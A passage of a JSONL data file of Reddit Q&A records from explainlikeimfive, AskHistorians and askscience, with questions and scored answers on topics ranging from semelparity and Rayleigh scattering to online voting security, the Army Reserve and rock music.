"http://www.math.wisc.edu/~jeanluc/talks/ima2009.pdf"]]}
{"q_id": "4cb6v4", "title": "Would Jesus have had a dog at any time in his life?", "selftext": "What would the likelihood of it be for a Carpenter or travelling Messiah?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4cb6v4/would_jesus_have_had_a_dog_at_any_time_in_his_life/", "answers": {"a_id": ["d1h0v7d"], "score": [8], "text": ["It's very unlikely. Traditional Jewish attitudes towards dogs see them as unclean, and they were not generally kept as pets. The term was applied metaphorically to Gentiles, reinforcing their association with uncleanness.\n\nDogs are only mentioned negatively in the canonical New Testament corpus. On this basis it seems improbably that Jesus would have had a dog."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "163vzt", "title": "apple tv", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/163vzt/eli5_apple_tv/", "answers": {"a_id": ["c7shg9d", "c7sihlq"], "score": [2, 3], "text": ["it is a device that connects to your wifi that you plug into an HDMI port into your tv. You can mirror screen apple products with it and use the built in interface to access the internet and things like Netflix ", "I'm pretty sure you need wifi to get the most out of your Apple TV, because you can connect to your itunes library and have access to all your music, TV shows and movies.\n\nThere's also features like HULU, Netflix, YouTube etc. that you can log into and use.\n\nTo answer your other question: No, there is no monthly fee for the Apple TV.\n\nAs for my personal opinion of the Apple TV, I really like it. I use it all the time to watch movies and TV shows I download on my computer. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1olwll", "title": "[META] What do you think about a weekly \"What's new in history?\" thread?", "selftext": "I'm asking this because I noticed two new - and I think very serious - developments in history within last week. \n\nOn one hand we've got the pedophilia debate about the 1968 generation in Germany in which for the first time the widely accepted pedophilia in the liberal movement of the late sixties and seventies is now openly discussed.\n\nAlso important, in my eyes, is Klaus K\u00fchlwein's new book about Pope Pius XII. which tries to correct the (in the eyes of K\u00fchlwein) wrong image of the pope as a saver of jews and can be seen as a rebuttal to the very successful Pius XII exhibition of 2009 which was featured in Rome, Berlin, New York and other cities.\n\nWhat are your thoughts on this idea? And what are your thoughts about Pius XII and the critical debate of the \"free sex\" movement?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1olwll/meta_what_do_you_think_about_a_weekly_whats_new/", "answers": {"a_id": ["cctcpxy", "cctcwd6", "cctele2", "cctf063", "cctj0r9", "cctm22x"], "score": [23, 35, 5, 3, 3, 2], "text": ["We think it's a fine idea, and we're currently discussing the addition of a number of new features to the roster.  It's very likely that this will end up being one of them.  Further developments will become apparent shortly!", "Sounds good,  let's talk about it in twenty years. ", "Sounds great. It would be great to know about whatever historical breakthroughs are happening each week.", "I think this is a great idea. I get some of this type of information from /r/history, but that sub isn't nearly as active as this one and so the comments aren't quite as filled out.", "This would be fun, I think.\n\nThere was also a thread once-something like \"What is the most controversial thing in your field of study\"-that was really interesting. Are those ever going to be regular? The adjective could change each week-the most interesting, exciting, controversial, accepted, whatever, in your field.", "Maybe there should be some things with monthly or even quarterly intervals?\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4v1qfw", "title": "Has an intellectual purge ever benefited a society?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4v1qfw/has_an_intellectual_purge_ever_benefited_a_society/", "answers": {"a_id": ["d5unwjf"], "score": [2], "text": ["Considering those writing history are generally intellectuals, and the aims of such a purge are typically antithesis to the values of intellectuals, would it even be possible to get an unbiased answer to this question?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3h3v3k", "title": "what is interferon and how does it work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h3v3k/eli5_what_is_interferon_and_how_does_it_work/", "answers": {"a_id": ["cu46kpd"], "score": [12], "text": ["Interferons are drugs that are used when a person has a viral infection. They take advantage of existing complicated human body responses and make the body more vigilant to cells that maybe infected. \n \n  > \n\nSide note, there are two main types. Alpha and beta:\n \nInterferon beta is made via modified e.coli and interferon alpha is mammalian based "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4lys8a", "title": "what is the gaba receptor and what does it do?", "selftext": "I've read up about this but no type of information is giving me a satisfactory answer. I just want to know the neurotransmitters involved, what GABA's functions are and what ligand binds to it. Thanks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lys8a/eli5_what_is_the_gaba_receptor_and_what_does_it_do/", "answers": {"a_id": ["d3r70u2", "d3rbcm7"], "score": [4, 2], "text": ["GABA binds to GABA receptors. GABA (gamma-Aminobutyric acid) is the \"off\" neurotransmitter. It turns things off. Sometimes that can turn things \"on\" by turning \"off\" an \"off\" signal. Outside of the brain GABA maintains muscle tone (meaning that they keep the muscle as tight as it needs to be in that particular instance). ", "This is just as an aside to the great stuff that's already been said.\n\nSince you asked about what ligand binds to GABA receptors, it may or may not be valuable to know that there are exogenous ligands (drugs) for GABA as well (especially GABA A).\n\nThese include ethanol (drinking alcohol), and benzodiazepine drugs like midazolam (versed), diazepam (valium), lorazepam (ativan). This is why alcohol withdraw can cause seizures and why benzodiazepine drugs are used to treat seizures."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "25a81y", "title": "I just finished reading Stephen Hawking's 1988 book, A Brief History of Time. What has changed since then?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25a81y/i_just_finished_reading_stephen_hawkings_1988/", "answers": {"a_id": ["chf7m7y", "chfaeny", "chfcfi6", "chfi3yg"], "score": [223, 70, 33, 27], "text": ["In the nineties it was discovered that the expansion of the universe is accelerating, ruling out a few of the cosmological scenarios, like the closed universe, that he discussed. ", "I also remember that he predicted that we would have theory of everything by now. We don't, and I reckon most physicists don't believe we're anywhere close to having a 'confirmed' theory of everything.\n\nString theory is a very promising contender, but the energies needed to test predictions are ridiculous. ", "Hawking thought that a black hole could be characterized by just 3 numbers, its mass, its spin and its charge and all other characteristics such as the identity of the particles falling into it was destroyed by the black hole.  We know this is incorrect, Hawking admitted it finally a couple of years ago.", "I seem to remember Hawking discusses solar neutrinos in the book, and mentions that we only detect about 1/3 of the number of neutrinos that we expect. This was known as the [solar neutrino problem](_URL_0_). \n\nThe reason for this is that we expected all of the neutrinos coming from the Sun to be electron neutrinos. Our early detectors were only able to detect this one type of neutrino. \n\nIn actuality, there are three flavours of neutrino, and it has been shown that neutrinos can change flavours if they have a small mass. At the Earth's distance from the Sun, the flavours become pretty evenly mixed, so that there is approximately one neutrino of each type. That is why we only detect 1/3 of the expected number of electron neutrinos."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Solar_neutrino_problem"]]}
{"q_id": "thmsj", "title": "What competitive advantage is there for species that die immediately after reproduction?", "selftext": "I know that there are lots of species of animals (mostly sea creatures or insects) that die immediately after spawning. My question is why this trait would be desirable over the creature surviving (and presumably reproducing more times). Is it to avoid the adults competing for resources with their young?\n\nI understand that evolution doesn't always perfectly select the best possible option for survival for a particular species, but the prevalence of death after reproduction in a significant number of species makes me think that there must be some sort of advantage.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/thmsj/what_competitive_advantage_is_there_for_species/", "answers": {"a_id": ["c4mp13n", "c4mp6zp", "c4mpmxz", "c4mq5ut"], "score": [3, 15, 6, 3], "text": ["Salmon are a good example. They live their lives and then swim home, spawn, and then they generally begin to age rapidly and die soon after. The reason this works for some species is that there is a lot of effort and risk involved in mating. If each species could produce one more offspring per mating, the species will be more likely to survive. If the species puts all of its energy into one mating cycle, but produces more offspring, it will have an advantage. \n\nThe species save their energy by only mating once and then once they do, they make more offspring than the species that can reproduce more often. \n\n[cite](_URL_0_)", "What you are asking about is called [semelparity](_URL_0_).\n\n\n > A key clue lies in the observation that semelparous species typically produce more offspring in their single reproductive episode than closely related species do in any one of theirs. It appears that when an organism does not need to withhold some resources to ensure future survival and reproduction, it can mobilize virtually all available resources to put into a single, massive reproductive episode. \n\nFrom [here](_URL_1_).\n\n\nUltimately, it can be summed up as a focusing of all resources in to one large brood in order to increase the likelihood that some of the offspring reach reproductive maturity. Kid-spam if you will.", "The important thing to realize is, as SSG_Shwartz has alluded to, organisms only have a limited amount of energy that they can devote to all of the tasks they need to complete in order to ensure that their genes are passed on^* .\n\nThe two primary ways an organism can do this are by \n\n1) having offspring that themselves grow up to reproduce\n\n2) surviving long enough to reproduce again.\n\n(that's not the whole story, because of things like [kin selection](_URL_1_) and [group selection](_URL_0_) mechanisms, but that's most of it)\n\nAnyways, it turns out that as long as an organism's offspring have a roughly equal or better chance of surviving to reproduce than it does to reproduce again, [semelparity](_URL_2_) (reproducing only once) will be favored. It's best to invest all your energy in reproducing in one \"big bang\", because those offspring have a better chance of reproducing than you do of making it through another breeding cycle. \n\nPut another way, those individuals who can leave more descendants \"in the long run\" by reproducing more all at once, than by surviving to reproduce again, will tend to leave more descendants (it's a tautology, I know; that's part of the reason why selection fascinates me). Because the behaviors that result in either reproducing all at once and then dying because you spent all your energy, or reproducing less, and saving energy so that you can survive to reproduce again, are at least partially under genetic control, so the descendants of those who reproduced more successfully by expending all their energy and reproducing all at once, will also have a predisposition to expend all their energy and reproduce all at once.\n\n_______\n*because thats what organisms mostly are, machines built to transmit the genes they carry to the next generation, not by intention, but by impulse\n\n", "A couple of advantages would be that the parents don't eat their young, and the parents don't compete with their young for food and territory. Also, if the parents don't need to live beyond reproduction, they may be able to perform better up until that point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Semelparity#Trade-offs"], ["http://en.wikipedia.org/wiki/Semelparity_and_iteroparity", "http://www.nature.com/scitable/knowledge/library/semelparity-and-iteroparity-13260334"], ["http://en.wikipedia.org/wiki/Group_selection", "http://en.wikipedia.org/wiki/Kin_selection", "http://en.wikipedia.org/wiki/Semelparity"], []]}
{"q_id": "95exh9", "title": "why don\u2019t we use tomato leaves as herbs, they\u2019re fragrant, edible, and easy to grow?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95exh9/eli5_why_dont_we_use_tomato_leaves_as_herbs/", "answers": {"a_id": ["e3s5woz", "e3s61ig", "e3s76x5"], "score": [19, 4, 4], "text": ["Many plants in the Solanaceae family are toxic. Even genera with parts we can consume, like chiles, tomatoes, and potatoes have toxic parts, such as the stems and leaves. ", "Are they edible?  I was under the impression that tomato leaves contain toxic alkaloids like their nightshade brethren.", "At the end of the day, pretty much everything that you can think of has already been tried. Maybe 0.5% of the chef's out there are doing anything completely original. If you don't see anybody else doing it, there's a 99.5% chance that there's a very good reason for that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3zqao5", "title": "why do americans seem to be so friendly towards others in contrast to many european countries, where it's rude to talk to complete strangers?", "selftext": "I'm just wondering where this comes from. I know this is not everywhere the case and I don't mean to insult anyone! But i think it's safe to say that americans are overall friendlier towards strangers and will more often strike up small talk with people they don't know or have just met. It's downright rude to randomly talk to people you don't know where I'm from, because it makes us uncomfortable, I guess? I have no Idea why to be honest, we just keep to ourselves.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zqao5/eli5_why_do_americans_seem_to_be_so_friendly/", "answers": {"a_id": ["cyo447u", "cyo4em1", "cyo4lb6", "cyo4xxq", "cyo4zw7", "cyo6ku2", "cyo740v", "cyo9f4e", "cyohuy4", "cyojwua", "cyopf59"], "score": [40, 12, 7, 3, 2, 16, 2, 12, 2, 2, 2], "text": ["On the other hand I've noticed that Americans often just pretend to be friendly. Like, they'll ask how you are, but if you actually want to answer they're really not interested.  \nHuman social behavior around the world is weird.\n", "American here. It's just part of our culture, it's instilled in us from growing up. Just like keeping to yourselves is instilled in you Europeans. It's just a cultural norm here, we have a much more interactive daily society here, at least with strangers. We're trained to interact, it's seen as polite to acknowledge other people, and it's a common courtesy to ask someone how their day is going. An additional factor is the mindset that this is how you meet new people, everyone is a stranger until you interact with them and get to know them. It's kind of a \"Well, how else do I meet new people?\" We're also more spread out than Europe, so I presume (I very well could be wrong, but I really don't want to have to go leaf through my textbook) that part of our friendly culture results from the fact that any interaction used to be more of rarity back in time, so any opportunity was taken. Interaction, sharing, and general friendliness has been part of the creation and survival of the American culture. We're a country that was created by immigrants to the continent, grew from more immigrants, gained culture and experience from immigrants, and is really just made of immigrants, if you trace bloodlines far enough back. Our nation has the culture it does from all of the nationalities that are here interacting with one another, sharing features, helping each other thrive. If we had not interacted, our culture would be drastically different, we might be far more divided culturally than we are now. Friendliness with strangers and interaction made us what we are now, so we keep doing it to grow more. We started as a bunch of different cultural groups, alone in a strange new place, surrounded by different cultures we aren't familiar with. Curiosity, the need to survive, and the desire to thrive drove these groups to get to know each other and coexist.\n\n***TL;DR***\n\nWe're so friendly to strangers because we're taught to be, because it worked in the past to grow our nation and our culture, and allow us to all try to thrive.", "I don't know if there's a unified way to explain it, aside from the blanket explanation of \"culture\". It's partly just a social norm, so if that's how you were raised, you are probably going to continue to act that way. It also varies greatly from place to place in the US as well, going just by stereotypes (it really also varies greatly on an individual level). Northerners in general are supposed to be more antisocial while Southerners have \"southern hospitality.\"\n\nYou can also view this question from the opposite side. Humans are a very social species, as well as being naturally curious, so it makes sense for them to want to interact with others by default. So maybe it's the norms of your people that are odd!\n\nA cultural anthropologist can probably give you a far, far better answer; my forte is archaeology so my understanding is comparatively limited.\n\n\n", "I believe this can also be a regional thing. In Boston or New York City, you won't find many people being \"friendly\" towards eachother. I think this is just a \"east coast\" thing (ie. \"new\" England) as the southern states and west coast seems to be alot friendlier. Hell, even midwesterners love conversation.", "Hello, good day, how's it going, I'd like to load you up with completely insincere bullshit as we pass by in an attempt to absolve myself from social anxiety, how about you? Oh that's great. Well, while I'm busy skirting any real topic of meaning, I'll nod and move along when the time is appropriate and promptly forget you even existed. Did I mention completely insincere? No? well, have a good day.   \n\nAnnoying asshole asking questions... jeez. wierd looking hair and those cloths... Damn, my sense of fashion is far superior. Good grief and those glasses?! OH! a buzzword. What was I doing again?", "American here, who lived abroad for years and works extensively with non-Americans. What it comes down to is Americans act more warmly to strangers and acquaintances than many other cultures. I've heard many Europeans say they feel like Americans are insincere and superficial because we talk to people we don't know very well as if they were close friends. I've also heard non-Americans getting their feelings hurt because they misinterpret the friendly nature of Americans and think that someone considers them a much closer friend than they really are.  It's just a difference in culture that probably comes down to the fact that Americans historically had to act friendlier because we're a melting pot of different cultures and in certain situations it could have been dangerous to be less than overly friendly. If you're from a monoculture, everybody's more likely to know where they stand and not need to be exceedingly friendly.", "Note that there are regional differences in the US. In the Midwest where I grew up, you can talk to anyone in public.\n\nDuring the first month here in Massachusetts, my wife said hello to a neighbor, and the woman grabbed her purse as if my wife was going to rob her, and stalked off, glaring. Not a everyone is like that,  but there is often a presumption of \"What does this person want from me?\"", "Depending where you are, it really comes down to 3 things (or some combination of them): genuine friendliness (honestly), unspoken expectations and wariness. I'm sure it varies wildly in the US, you could probably break it into general categories of Coastal, Southern and Midwest. My comment is geared towards the Midwest. I had a German relative visiting in the Midwest recently who likes to jog. He commented on this very topic. He went jogging and everyone he passed did one or more of the following: nodding, eye contact, wave, said 'Hello' or started a conversation. He got lost on a jog and a lady started a convo with him and helped him find his way back. To him it was almost creepy, how everyone was friendly. He is used to passing actual family members in Germany without so much acknowledgement. \n\n & nsbp;\n\n**Friendliness:** as with anything there are plenty of exceptions: in the Midwest we like to meet people, find commonality and will talk with anyone at the drop of a hat. It makes waiting in a line easier if you have someone to chat with. **EDIT:** or if you're a private person it makes waiting in line torture because Jan Jansen keeps trying to get you to open up. What is he? An identity thief?\n\n & nbsp;\n\n**Unspoken expectations:** We feel obligated to be nice. *Hey! There's that guy from down the street. What's his name? Crap he said hello. If I'm not nice, then the he'll think I'm rude. I don't want to ignore him, that's not polite. What if he tells someone I'm rude? I'd feel sad, that's what.*\n\n & nbsp;\n\n**Wariness:** We wave, smile, say hello and start conversations to feel people out. It's a social sonar ping, telling us a bit about someone. If I'm walking in my neighborhood, see that guy from down the street and say 'Hello!' only to get ignored what does that tell me? Maybe he had a bad day? Or maybe he's not a nice person. This is of course complicated by the fact that a friendly person can be trouble and some of the best people don't go around starting random small talk with strangers. ", "As a European I find it much ruder when people are\"fake friendly\" to me than just being genuinely cold and uninterested. I've only been to the US once but especially when it came to things like waitresses or other services, I really feel uneasy when I can totally tell they are faking it. I wanna sit back and relax, but when I sense that someone is not being honest, I feel stressed and enjoy my experience less.", "Well, it depends are where you are in America. I live in Seattle, WA, these people are polite to your face but they have no desire to actually talk to you, it's called \"The Seattle Chill.\"  They even have a common term \"The Seattle NO!\" If a Seattleite say yes, no, or maybe or any of those with a date, they are all NO's! However, if you get a yes with a date and time, then that is a yes. It's all just rude behavior in my opinion and I'm from Portland, OR.\n\nI lived in Texas for a while and if you ask someone how they are doing or they ask you, prepare to spend 5 minutes talking to that person. Honestly, I prefer this, even though it can feel like a waste of time sometimes. Mostly I prefer it because I would rather have someone be honest with me then smile and lie to my face.", "I think it's that Americans don't have the cultural baggage of European countries being such a relatively young country. I was born and bred in the south-east of England, not London but close enough, and people do tend to spend their lives acting a bit don't fuck with me cos I'm tough, which is obviously a defence mechanism.\n\nBut I now live in the south-west of England, and it's a lot more like the north of England or Scotland/Wales/Ireland, where people tend to be open and friendly (as you might expect Americans to be), and will say hello to you in the street even if you don't know them and be willing to stop for a random chat. \n\nSo perhaps it's to do with being near where the power is in a country? \n\nIs it like that in other European countries? For example, Paris isn't known for its openness and friendliness, but maybe the rest of France is actually pretty friendly?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "9xni8q", "title": "why can't we vote for politicians online?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xni8q/eli5_why_cant_we_vote_for_politicians_online/", "answers": {"a_id": ["e9tl86q", "e9tlasi", "e9tnfwa"], "score": [5, 3, 12], "text": ["It is not secure. Voting online would be extremely vulnerable to hacking and manipulation. Far more vulnerable to manipulation and error than our current methods. Yes \"John Doe at the local library\" really is more reliable than online infrastructure. ", "For security reasons. It is much less safe then voting the way we do it now. A simple Ddos attack could easily shut the voting website down.", "1) Online voting isn't secure. *Nothing* you do online is secure, it's just that for the most part it flies under the radar. No one cares.\n\n2) You could easily stop voting with a DDoS attack against whatever website was responsible for collecting the votes. Alternatively, hack the accounts, and then the day of the vote reset the passwords so no one can get in without going through the service desk.\n\n3) There's no paper trail, at least not one you could inherently trust, whereas at a polling place everyone involved can validate the existence and legitimacy of each individual ballot.\n\n4) Even without affecting the vote, all of the data could (and likely would) be tallied, and that data can be easily leaked online, which is a massive breach of privacy.\n\n5) People could much easily sell their votes en masse by simply selling their ID, password, and IP address to a private party, who would then vote *for* them, spoofing their IP address in order to make the vote appear legitimate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8gi0nb", "title": "The US lost just over 50,000 in both World War 1 and Vietnam. The latter prompted widespread outrage at the number of casualties, whereas we hear little about the former. What shifted in the American psyche between those conflicts? Why is the US more casualty averse today?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8gi0nb/the_us_lost_just_over_50000_in_both_world_war_1/", "answers": {"a_id": ["dycjvdt"], "score": [82], "text": ["For what it's worth here's an [answer](_URL_1_) I wrote recently on the context and history of US popular support for the Vietnam War. \n\nTL:DR - the American public was supportive of involvement in Vietnam until casualties rose, and this was in part because of perceptions around too many Americans being killed for unclear objectives. The war was sold as limited conflict that could be won decisively and quickly, and both public support and support within the US government fell when this proved to not be the case.\n\nAlso the US Department of Veteran's Affairs has a [fact sheet](_URL_0_) for US casualties in major conflicts. 53,000 American battle deaths were suffered in World War I, but another 63,000 died from non-battle-related causes (mostly the flu pandemic). \n\nIt's also worth pointing out that the entire US involvement in World War I lasted 19 months, as opposed to the 8 years of official conventional military involvement in Vietnam."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.va.gov/opa/publications/factsheets/fs_americas_wars.pdf", "https://old.reddit.com/r/AskHistorians/comments/8cgcip/did_we_win_or_lose_the_vietnam_war_the_shift_of/dxfcgkx/"]]}
{"q_id": "525z54", "title": "why does contrast increase/decrease when looking at a monitor from an angle?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/525z54/eli5_why_does_contrast_increasedecrease_when/", "answers": {"a_id": ["d7hola0", "d7homfy", "d7hrdj2"], "score": [4, 16, 2], "text": ["This is because not all LCD panels are made the same. Some panels, like the inexpensive TN panels, have such poor viewing angles that colors and contrast literally become inverted, when viewed from extreme angles. The upside of TN panels is their speed: 144+hz TN panels are easily achievable, even for really high resolution displays.\n\nOther panel types, like IPS and PVA, have very little contrast shifts when viewed off-angle. However, these panels are much more expensive, and high refresh rates are rare.", "LCD work by shining a bright white light (actually a combination of every color, ever see a prism?) from behind the display, then controlling how much of each color can pass through each pixel.\n\nThis is achieved through multiple stacked layers which have these light and color filters embedded for each pixel. When a pixel is white, it allows most of the light to pass through. When it's black, most of that light is being absorbed or reflected back into the monitor.\n\nIf that light moves sideways, it bleeds to neighboring pixels and lowers contrast by mixing different colors and blurring edges. This is ultimately stopped by putting \"prism\" walls around each pixel. When viewed head-on, the walls look the same as the pixels. From the side, you see the different mix of color the walls are redirecting at that angle. As you lower your view angle, you also see more of the walls and less of the pixels. This is why active parts of the display change color when viewed from the side, and why black sections mostly look the same.\n\nEdit: Just wanted to add that with older and large format displays, discoloration was instead mostly a result of polarization angle. However, modern high density formats required a shift to extremely thin layers or a curved format to prevent this from occuring at either side of a display you were looking at head-on. Thinner layers introduced problems related to irregularities in thickness, which are generally solved by optical separation.\n\n\n", "Look through a drinking straw towards a light... Now look at your end of that straw from an angle. \n\nYou'll still see some amount of light reflected inside/around the straw, but it's not a direct view of the light source... and the color of the straw as well as other factors are coming into play.\n\nWell, LCD displays are not 2 dimensional. The light source is behind the color source, and you're looking through layers to view the actual light. When the layers of \"tubes\" (on this analogy\" aren't in line with your eyes, light doesn't flow consistently or evenly towards you. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ae5bm8", "title": "how the army reserve works compared to active duty.", "selftext": "Will you see deployments, is it just sitting around for emergencies?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ae5bm8/eli5_how_the_army_reserve_works_compared_to/", "answers": {"a_id": ["edmgruj", "edmh7p5", "edmhq04"], "score": [5, 11, 3], "text": ["I was active duty, so my view may be biased but I'll take a crack at this....\n\nBoth Active and Reserves got to Basic and AIT together. (AIT is where you learn the basics of what your job is going to be) Active duty is a 24/7 \"job.\" You deploy regularly, with some exceptions depending on certain jobs that require you to be at a duty station all the time. Or if you're with the 2nd ID cause they're just incompetent. \n\nReservists on the other hand, live and work regular jobs the majority of the time. Then for a weekend or two (not sure) out of the month go to their \"duty stations\" pretend to be soldiers, and try to remember how to do their job... Once in a while, they will deploy for a year, screw everything up and prey for real soldiers to relieve them. Then come back to the States and the cycle continues. \n\n[Should note that this is meant to be humorous, military people should get it.]", "Army reserve. Show up. Do nothing for two/three days. Go home.  Rinse and repeat. \n\nActive duty. Show up. Do nothing for three/four years. Go home. ", "For the most part: You have one weekend a month where you will perform duty. It usually ends up being catching up on various mandatory trainings and medical readiness. You'll then do a 2-4 week exercise annually where you would conduct whatever sort of operations your unit is responsible for. \n\nReserve units do deploy. It's usually voluntary, depending on requirements, but involuntary deployments do happen. \n\nYou have to be able to balance your civilian career with your military one. It can be tricky. For example, I have a 32 week school I need to attend on the military side. Now, a civilian company usually can't fire you for fulfilling military obligations, but my previous employers found a way. Apparently anything is possible with a good lawyer. \n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6jsjo9", "title": "I know that the sky is blue because our atmosphere scatters higher frequency wavelengths of light, but what happens specifically on a molecular level in the scattering process?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6jsjo9/i_know_that_the_sky_is_blue_because_our/", "answers": {"a_id": ["djgu4b5", "djguo9r", "djhe2vi"], "score": [11, 6, 2], "text": ["There are different types of scattering--the one relevant to light passing through the atmosphere is called [Rayleigh Scattering](_URL_0_), which is a form of Dipole Scattering.\n\nIn my quick search I couldn't find too many basic descriptions of dipole scattering, but depending on your physics foo [this one] may be useful. Basically: \n\n* the electric field of the light causes the charged particles in the molecule to move, inducing a dipole (i.e., separation of the positive and negative charges\n* since the electric field of the light is time-varying, so is the induced dipole\n* a time-varying dipole radiates at the frequency it is varying at--i.e., it scatters the incoming light\n\nRayleigh scattering is dipole scattering in the scenario where the molecule doing the scattering is much smaller than the wavelength of the light. ", "Scattering behaves differently depending on the relationship between the size of the scatterer and the wavelength of light being scattered. For visible light and small atmospheric molecules, the relevant physics is [Rayleigh Scattering](_URL_0_). \n\nI assume you want some intuition, so I'll give it my best. For particle / light interactions where the particles are roughly the same size as the wavelength of light, you have [Mie theory](_URL_1_), which is kind of like imagining a big sphere getting hit with light. There's angle dependence, and it kind of acts like how you'd imagine. For big objects, the shape of the object matters. \n\nFor small molecules, smaller than the wavelength of light, the structure isn't really important in the traditional geometric sense. Instead, these molecules act like electric dipoles that redirect light in a random direction. There is no angle dependence, but the scattering cross section IS a function of wavelength. It's fairly important to remember that in scattering, almost everything is a function of wavelength, and this is what gives us our interesting visual effects. \n\nHopefully this is helpful.", "Physically, scattering is very similar to reflection. The only difference is that the photons lose their directionality in the process and are scattered in all directions. This occurs when the ''mirror'' is too small compared to the photon wavelength. When light hits a very small mirror, it is reflected (and transmitted) in all directions, and we call this particular phenomenon ''scattering''. Note that, in the process, the photon is never absorbed by the molecule's electrons. Lots of people will thus use ''virtual energy state'' to explain molecule scattering, which is very confusing because it is not an absorption process at all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Rayleigh_scattering"], ["https://en.m.wikipedia.org/wiki/Rayleigh_scattering", "https://en.m.wikipedia.org/wiki/Mie_scattering"], []]}
{"q_id": "15qhv1", "title": "why aren't there any more big new rock bands?", "selftext": "It seems as big rock bands such as, Aerosmith, AC/DC, M\u00f6tley Cr\u00fce, KISS, Guns N' Roses, Led Zeppelin among others are just waiting to die out. Appetite for Destruction, GN'Rs debut album, was the last rock album to really blast the Billboard charts and break through many different musical taste barriers in many people. Is it because record companies want rock to die and don't want to sign any upcoming rock bands? Or what?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15qhv1/why_arent_there_any_more_big_new_rock_bands/", "answers": {"a_id": ["c7ovkge", "c7ow0wq", "c7owb92", "c7owhvs", "c7owzhz", "c7ox563", "c7oxl0p", "c7oxr43", "c7oxvbr", "c7oxyih", "c7oxzqr", "c7oy1c8", "c7oy3rm", "c7oy59y", "c7oyg1l", "c7oymst", "c7oyqy5", "c7oyr1d", "c7oytqg", "c7oyync", "c7ozhg2", "c7ozsaq", "c7ozsmh", "c7ozusb", "c7p01bs", "c7p076a", "c7p07dv", "c7p0ngw", "c7p0u2u", "c7p0u5n", "c7p0x5o", "c7p13zp", "c7p19t4", "c7p501s", "c7p5czj", "c7p6kti"], "score": [973, 16, 44, 169, 22, 12, 19, 15, 29, 5, 3, 4, 107, 2, 16, 8, 2, 7, 12, 3, 2, 2, 2, 5, 4, 2, 3, 5, 7, 2, 3, 6, 3, 3, 2, 2], "text": ["Technology. Back in the day you would need to get a few skillful musicians together and make a band. Then you would have to find a manager. Then you would have to play gigs. Then you would NEED a record deal. The record companies paid you to go around and tour to get your name out to the general public. This sequence of events was exceedingly rare so very few bands made it this far. \n\nNow with technology any individual with a computer can be their own band. I personally can write, record, mix, and master any genre of music I want with my macbook pro. Once you've done this you can simply go on facebook to promote yourself. It costs close to nothing to create an album and you don't need the backing of a record company or a manager to do so (It still helps to have both these things, but they aren't required like they used to be). This dilutes the consumers because they have so many more choices - so many more bands to choose from. They can pick exactly what they want, and most of the time, their choices are very different. \n\nBig rock bands like the ones you mentioned don't exist anymore because the people who used to like those bands have found new subgenres to explore within rock. This is also true for all the subgenres within electronic, hip-hop, pop music, etc. \n\nsource: I work in the music industry. \n", "It's hard to agree that Appetite for Destruction was the last album to rock the Billboard Charts.  Grunge and so-called alternative all came out post-Appetite for Destruction and sold millions of copies.  And some of those bands have entered the rock canon.  Radiohead is still going strong, although I'm not a fan.  Looking at today's music, it seems like whiny emo bands seem to multiply on a daily basis.  Then there are corporate \"indie\" rock bands, Nickleback, and all kinds of other nonsense.\n\nGranted, most of those bands suck.  But the same could be said of most big rock bands over the decades.  I wouldn't call Motley Crue or Kiss good bands, but that's really a matter of taste.  \n\nPoint being, rock music as a commercial force is far from dead.  ", "I don't know where you're from, but i'm guessing it's the USA, and i get that theres a lot of autotuned music and all that, and we have it here too (Belgium). But there are plenty of big rock bands, Foo Fighters, Muse, Red Hot Chili Peppers, Blink182, Coldplay, Kings of Leon, Arctic Monkeys, The Killers, System of a Down, Queens of the Stone Age, ...\nAnd this is just my taste in music of \"recent\" bands. Ofcourse thanks to the uprising of more electronic music styles lots of people just started listening to other genre's, but rock is not at all dead. Mind you that when all those bands you mentioned were playing, there were also different music genre's. And lots of people were probably wondering why people started listening to rock instead of classical music.", "Because the musical 